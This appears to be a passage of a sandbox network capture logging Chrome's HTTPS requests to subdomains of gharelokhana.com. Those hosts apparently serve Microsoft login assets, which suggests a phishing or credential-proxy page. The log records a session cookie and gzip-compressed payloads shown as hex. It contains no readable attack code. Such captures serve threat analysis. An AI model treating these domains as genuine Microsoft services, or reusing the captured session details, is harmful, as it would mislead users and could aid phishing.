2024-12-04 15:15:43 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 52 4d 76 42 44 76 5a 6e 79 45 65 65 58 2b 43 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 61 33 39 36 61 61 38 39 32 33 31 35 39 37 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: RMvBDvZnyEeeX+C6.3Context: b1a396aa89231597
2024-12-04 15:15:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:15:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 49 36 39 52 32 2f 52 53 30 36 51 31 70 35 66 45 6d 67 74 78 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3I69R2/RS06Q1p5fEmgtxA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49806	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	680	OUT	GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg==" Sec-WebSocket-Key: Crfb7Z0RVY1vk2E1oBqp3w== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-04 15:15:44 UTC	743	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 04 Dec 2024 15:15:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 76bba89f-6e43-49bc-aed2-bb16df8f3400 x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49810	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	805	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:44 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: ef403846-601e-007d-14db-44b275000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151544Z-16c5c9558c6nmslnhC1DUSd94000000005z000000000rdbu x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:44 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-04 15:15:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49809	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	568	OUT	GET /shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:45 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:45 GMT Content-Type: application/x-javascript Content-Length: 116322 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:53 GMT etag: 0x8DCBD53169C0B8E x-ms-request-id: 59a0b5e7-701e-000b-448f-444f82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151544Z-15b54885d96gb6rwhC1FRAx2vs00000005zg00000000tfrc x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:45 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec 7d 5b 5b db 48 b6 e8 fb fe 15 b6 a6 c7 2d c5 85 b1 0c 18 90 11 1e 92 90 1e 66 92 c0 06 d2 3d 3d 84 c9 27 ec 32 56 62 24 8f 2e 5c 1a 7b ff f6 b3 d6 aa 2a a9 24 cb 60 d2 bd cf 79 38 d3 5f 07 eb 52 aa 7b ad fb 65 fd 55 fd bf 6a af 6a 6b ab ff 57 3b 3b 3f 38 3d af 1d bf ab 9d ff f5 e8 f4 6d ed 04 ee 7e ad 7d 3c 3e 3f 7a 73 b8 7a 3d d8 28 fe 3b 1f fb 71 6d e4 4f 78 0d 7e af bc 98 0f 6b 61 50 0b a3 9a 1f 0c c2 68 1a 46 5e c2 e3 da 0d fc 8d 7c 6f 52 1b 45 e1 4d 2d 19 f3 da 34 0a bf f2 41 12 d7 26 7e 9c c0 47 57 7c 12 de d5 4c a8 2e 1a d6 4e bc 28 79 a8 1d 9d 58 2d a8 9f 43 6d fe b5 1f c0 d7 83 70 fa 00 d7 e3 a4 16 84 89 3f e0 35 2f 18 52 6d 13 b8 09 62 5e 4b 83 21 8f 6a 77 63 7f 30 ae 7d f0 07 51 18 87 a3 a4 16 f1 01 f7 6f a1 91 Data Ascii: }[[H-f=='2Vb$.\{*$`y8_R{eUjjkW;;?8=m~}<>?zsz=(;qmOx~kaPhF^\|oREM-4A&~GW\|L.N(yX-Cmp?5/Rmb^K!jwc0}Qo
2024-12-04 15:15:45 UTC	14460	IN	Data Raw: 14 c6 f1 60 7c 76 39 a2 ca 7d 0a c4 6c 46 7b 28 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 b4 42 9b 52 5b ca 40 89 5e 36 a7 a4 08 a8 17 38 0d 53 1c 3e 97 dc 19 24 8a 0d 4a a7 01 b5 4f e2 5c ba e4 71 91 1d cc fc 76 2d bb 17 a9 48 55 e3 7b 1d 24 72 d5 75 be 53 62 b7 c3 d2 75 f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 b3 a2 88 82 dd c2 34 74 9f 8e 82 c4 ee be 3e 34 f9 ab d8 9a d3 4e a5 71 8f dc 35 e1 78 e4 bb 51 cf df 4b 29 2e 3a 65 1e 48 98 6f 41 2d 68 7b bd 86 d5 8d e0 38 f8 6b 23 d1 53 f1 04 26 62 e4 fa 16 83 c7 4d 5b 33 91 ae 8d 5e c5 b4 e5 d7 d0 3a 11 8b f9 6b 2e 7e cb b0 b9 dc f6 39 6a 7a fb a9 70 86 5c f3 48 56 d2 f3 d1 e9 c9 5f 5b cb b5 ba 13 d4 c5 8e e1 e9 78 cf eb 8d b5 de 35 91 e4 a6 fe 8d a1 53 13 44 3f 22 d5 2d 5a af e5 c9 46 d5 ec e5 53 75 95 33 b9 Data Ascii: `\|v9}lF{(rH)Iit>GYBR[@^68S>$JO\qv-HU{$ruSbuL`4t>4Nq5xQK).:eHoA-h{8k#S&bM[3^:k.~9jzp\HV_[x5SD?"-ZFSu3
2024-12-04 15:15:45 UTC	16384	IN	Data Raw: 70 d8 54 ad 30 26 87 61 e9 81 62 01 3f 9e 02 88 c6 82 cd b6 0d 17 c6 c3 df 0c b8 e4 1c 2e 3a e2 ca 04 4b 4e e7 d8 0e 16 83 28 bd 2a 1c 72 80 03 db d9 23 25 05 3d 8b 7a 70 32 f9 c8 ca 61 4d e2 18 f9 50 62 ec 22 ba c2 83 40 f9 0c 12 9c 73 0d 67 03 9c d1 e3 23 ff d2 e3 63 8b 97 59 68 73 ad 08 7a f2 25 78 04 e3 8f ac d1 36 c1 4e 5a 2b a1 7e 74 2e 91 2a 39 e1 a5 a3 01 6f 96 0e b2 63 eb 65 1b bc 39 5f 16 81 1f 1d b6 ac 34 60 8d 88 94 51 c6 9b 58 e4 42 e9 c0 91 53 7c f1 c5 ec ea 2b b3 9f 41 ec 66 ee 41 1b ce 76 58 43 fe db 52 a2 c6 cf 54 a2 e6 b5 bb 6d 51 bb 88 1a 0f 5e 4f 2a 31 ef 67 3c df 4e 8c 72 56 8e 7a 04 6e 3f cc 65 76 bf 5c f2 ea 31 89 6d 15 e6 36 ff 65 bc fa 3f d5 86 b1 68 10 fb 97 34 63 fc 53 61 1c 02 4c d0 dd 0b 40 fc 9b c0 56 b9 af 2f e8 f8 53 91 d9 Data Ascii: pT0&ab?.:KN(r#%=zp2aMPb"@sg#cYhsz%x6NZ+~t.9oce9_4`QXBS\|+AfAvXCRTmQ^O*1g<NrVzn?ev\1m6e?h4cSaL@V/S
2024-12-04 15:15:45 UTC	16384	IN	Data Raw: 96 88 74 7b db 7b fc ec dc 43 a5 fb 34 40 95 14 6a 63 40 4e 1e 9d 4c e1 a0 07 3a 9c 34 8d d1 c2 69 9a 34 5f 85 45 f8 43 1c dd c2 89 9a 34 15 f0 e0 3c 55 47 c0 4d 30 31 60 76 15 cc 8c ab 6b 80 c7 8d 40 03 76 09 0c d7 0d 73 b2 28 8f 7f 46 cd 84 84 29 bb e5 0f ae c3 bb 97 0b 00 07 06 25 75 af d0 5b fa 4d 52 c0 51 7f 41 97 b9 b8 34 16 d1 85 33 64 88 da b4 3a f5 2b c3 bc 90 05 c2 2a b2 64 96 d4 c7 83 02 a6 b0 7e 09 27 d0 a5 70 9a 2c ed 35 1c d9 6b 18 e7 a8 cd c7 42 0d 23 1e 2c 31 26 57 03 2c 20 fe 50 64 61 92 43 23 bf 5f 0c 30 9b 20 ba eb 62 5c d6 e3 e3 8d 59 ee 13 ad df 47 f4 64 9d 3f 4a 02 d2 3f b3 d8 c8 27 78 85 41 ab eb c0 54 de f6 1e 2c d0 f8 a8 84 9c 1b 65 4a 13 a2 41 13 37 66 57 9a 30 1d d3 cd 19 ce fa 4c fc 4c d0 74 70 ef 62 36 40 f6 19 88 d5 e7 c3 d3 Data Ascii: t{{C4@jc@NL:4i4_EC4<UGM01`vk@vs(F)%u[MRQA43d:+*d~'p,5kB#,1&W, PdaC#_0 b\YGd?J?'xAT,eJA7fW0LLtpb6@
2024-12-04 15:15:45 UTC	16384	IN	Data Raw: ff 05 81 b5 59 54 20 09 80 79 f9 2c b4 dd 7d 45 8f 16 96 38 86 6a b3 40 7f aa 52 cb 50 55 86 7a 61 fe ed fc d5 4b 43 81 82 b1 7a d6 9d 36 c5 de 9b c7 6e 8a 61 c8 73 0f 4e 9d f9 45 89 67 e3 87 c2 1d 94 03 d4 ab 9d 44 94 80 0b 19 37 45 c4 20 86 25 4f 36 b0 72 d3 97 f1 93 a9 f9 c9 c2 ae 4c 07 f2 37 6e d6 12 2c 98 97 40 15 32 8b d5 32 ca 84 42 ab 14 f7 0b aa d9 4e fc 89 4d 80 97 a8 fb 47 cf 32 e1 18 ff ca 37 52 ee f6 75 1e 50 9b 9b 94 53 47 b0 2f 3a 2e 08 c2 45 88 2b 4c e7 0b 11 e5 1a b1 7c f9 c6 b4 eb c6 0e eb df 17 f1 0f 54 a6 5b 93 b3 02 7e 2a a3 32 37 fb 2d 38 ab 5b f7 d6 b4 bd be 7d 34 a3 55 63 ac 18 da ee 96 46 e7 26 be 88 87 39 46 8d c1 3f c4 2d 34 08 9f 6b 31 6f d0 f7 a0 fc 0b 51 cc f2 f1 d9 78 ff f7 30 75 bf 2d 2d 5d 35 48 fd 23 b1 8c 59 23 cb 98 fd Data Ascii: YT y,}E8j@RPUzaKCz6nasNEgD7E %O6rL7n,@22BNMG27RuPSG/:.E+L\|T[~*27-8[}4UcF&9F?-4k1oQx0u--]5H#Y#
2024-12-04 15:15:45 UTC	2731	IN	Data Raw: f1 59 15 07 ac 7c 80 13 12 39 1f 10 fd b6 e0 43 3c 82 54 2b 8d 05 63 95 86 ba 31 26 18 39 19 50 ff 84 a2 68 c0 72 a5 cd 87 5a 51 98 2e 71 ec 00 aa e3 6a 9d df bb b2 d6 4f 62 75 60 42 07 e1 8a bd 5d 10 51 a0 34 82 1e cc 41 6b 8c ef 7f d2 81 a2 43 e8 8d c9 b1 2f b0 27 69 9a 56 a2 9d eb 48 75 52 3e 04 e4 d0 38 ed dc 94 b4 f3 81 81 4e 28 76 0f 46 a2 21 19 4d 91 b8 15 db ba 25 d4 1a 27 45 e5 b2 59 94 54 2a 20 c4 74 4f b7 79 39 39 0b b8 aa 21 80 01 08 d5 a1 c7 22 5e 3b d4 b2 31 f8 04 7f 21 89 d7 8e a1 7a d4 65 89 80 4e 59 97 51 a8 23 7b e5 48 92 3f 90 e4 7c 24 49 6c 8b 88 e5 1a 32 0a 91 94 30 97 42 4f 10 95 25 df 1e 3a 50 38 d3 90 81 88 24 f9 49 15 78 d5 a4 42 7b 05 78 47 30 d4 e0 46 cb 11 f5 06 42 51 04 c4 04 4b d4 15 3d cc fd c1 8f 6a 2f a1 c4 15 12 0b 2b 98 Data Ascii: Y\|9C<T+c1&9PhrZQ.qjObu`B]Q4AkC/'iVHuR>8N(vF!M%'EYT* tOy99!"^;1!zeNYQ#{H?\|$Il20BO%:P8$IxB{xG0FBQK=j/+
2024-12-04 15:15:45 UTC	12576	IN	Data Raw: 41 42 b1 21 5f 63 49 e8 bb b7 24 f4 ad ee 66 84 be 24 e2 4d 09 7d eb e8 0d d7 37 47 ba 46 b6 3a 1a 0a 7e c7 aa a9 ec 1d 3f 09 d8 d0 7c 67 85 23 38 e3 1e 56 01 a3 3e 4c 11 35 98 b1 46 16 0a 2b 36 86 5e f4 04 ae e8 03 d7 33 42 db 23 a0 98 58 1f ad 8e 22 3d 6d 17 db 6f d9 f0 80 9b e8 8d 70 66 7d 73 94 b6 c6 75 80 04 a7 72 d3 bc 9b cf 3d dd 4f 5b e3 06 f4 58 5a e3 fa a6 df 9d 71 6b 5c 5f 31 0c 63 e2 6d df 4c 99 8b c5 6a ab 11 9b b0 1b 8e b9 28 9d 98 9e aa d8 b9 6b f9 86 3e d4 6f 4a 13 e4 e0 28 b7 ca e4 f0 a6 3d 29 16 d9 18 90 db 04 a5 b9 23 94 e6 d2 e8 bb 93 ab 65 9e 76 bc 11 cf 4a b4 47 e0 4d ec 75 84 a7 58 9f 36 32 5e fc 37 c9 8f ea 8b fc 76 a3 22 dc 1c c9 56 30 e5 e6 d8 40 5f de 91 c4 73 53 a2 01 f7 b9 12 a3 59 3b 10 6e 8e a8 cd b8 a3 ca 4d 83 74 a9 00 6a Data Ascii: AB!_cI$f$M}7GF:~?\|g#8V>L5F+6^3B#X"=mopf}sur=O[XZqk\_1cmLj(k>oJ(=)#evJGMuX62^7v"V0@_sSY;nMtj
2024-12-04 15:15:45 UTC	16384	IN	Data Raw: fa c0 e4 2d 18 6d de b1 19 62 7c b2 a1 9e 76 fb 57 e6 8c 2b 04 67 b8 f4 4a 93 28 7a 8a d4 12 74 b0 85 73 ac 58 8c 53 ad c0 5b 80 e2 e1 2b ad e9 e2 6a b1 be f4 30 f1 ad 92 07 6e a3 2e 75 15 fb 8d 54 b0 37 01 0e 03 09 0e 63 09 32 23 09 32 53 a9 f3 e8 9b c2 ac 65 26 45 cc 77 12 64 f2 8d 58 c8 42 85 8c 58 50 a9 f8 20 c1 ea 52 80 15 0f 90 84 e1 90 ce e5 d1 7e 6a de 08 50 43 b5 21 da af 1c 53 fc a2 6b f8 55 02 1c 09 bd 05 df cb 5b 92 d4 d4 30 8a d2 92 cc fb 43 a2 80 91 96 2d b1 e9 8a 30 6d 91 1f 44 db 96 ed ed 2f 70 b0 a7 8d 48 be e8 28 fd de 29 ef 10 95 fa d1 0c f4 cc 36 40 e5 db 6d 2a 42 c5 13 3d 04 1a 7e 08 54 74 2b 64 01 8f 4f 66 4b 4d 1b 9c aa 1c fc 5a 6e 2c 3d 44 b1 77 ba a5 3c 21 fa b5 92 e7 28 05 fa 91 e2 a7 2c 65 23 36 45 77 c1 3e 90 f6 9d f7 02 ce cb Data Ascii: -mb\|vW+gJ(ztsXS[+j0n.uT7c2#2Se&EwdXBXP R~jPC!SkU[0C-0mD/pH()6@m*B=~Tt+dOfKMZn,=Dw<!(,e#6Ew>
2024-12-04 15:15:45 UTC	5442	IN	Data Raw: 73 81 6e fa 65 0c 84 d6 c7 f8 10 16 4d 8a 97 2e 90 ff 14 be 88 2c 2e 15 08 70 a5 08 bf 6d 59 ed 1c f0 69 6d 12 5c 84 b5 a0 b6 34 dd b6 53 3b 87 c3 28 19 a1 c4 d4 36 96 64 54 0a 04 ba 14 9c 47 9a f6 d5 98 9c 12 8e 11 05 55 b7 2c 66 92 2b 42 78 9c dd 45 5d 68 e9 b6 e6 b5 74 e3 e3 a7 a5 8d 45 51 c7 0b 29 ec 98 db 25 07 9b 58 e0 f6 96 5c 65 e2 63 9f 77 0a 52 6e a8 9e 64 1d 48 94 25 32 ae ff 62 f7 bd f7 d1 ed a1 13 e7 f0 b4 7b db d9 be dd e8 3a f0 28 5c 6d 3b 5c c3 d7 eb ad 1c a6 00 56 5e 9f c7 e6 31 01 bc d0 d0 e1 f4 1b a1 66 1d de de 86 fb 12 f7 32 d3 a3 de 4c 75 2d d3 0d 3f 85 39 db 0b 89 c1 8a 91 c1 ca 0d c6 2a d6 2d cd b9 a5 3b 94 be 04 2b 8a 5c 5a 2f 36 62 e6 f8 71 21 80 0e d0 2d 71 21 d4 18 ee 0e 8b 36 12 c5 37 43 67 28 2a 2c 19 ee 24 b7 9a 42 cf dd 00 Data Ascii: sneM.,.pmYim\4S;(6dTGU,f+BxE]htEQ)%X\ecwRndH%2b{:(\m;\V^1f2Lu-?9-;+\Z/6bq!-q!67Cg(,$B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49811	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	804	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:44 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:44 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 1abd9bcf-c01e-003a-2ed0-44e683000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151544Z-15b54885d96nhnjlhC1FRAhha8000000061g00000000hr1v x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:44 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-04 15:15:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49812	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:43 UTC	765	OUT	GET /shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_a7fa53f8687b4e38205f.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:45 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:44 GMT Content-Type: application/x-javascript Content-Length: 35203 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:53 GMT etag: 0x8DCBD53168EFAC9 x-ms-request-id: 7993525f-101e-0029-39d0-44c28f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151544Z-15b54885d96x2j8shC1FRA6vdc00000005g000000000fryt x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:45 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
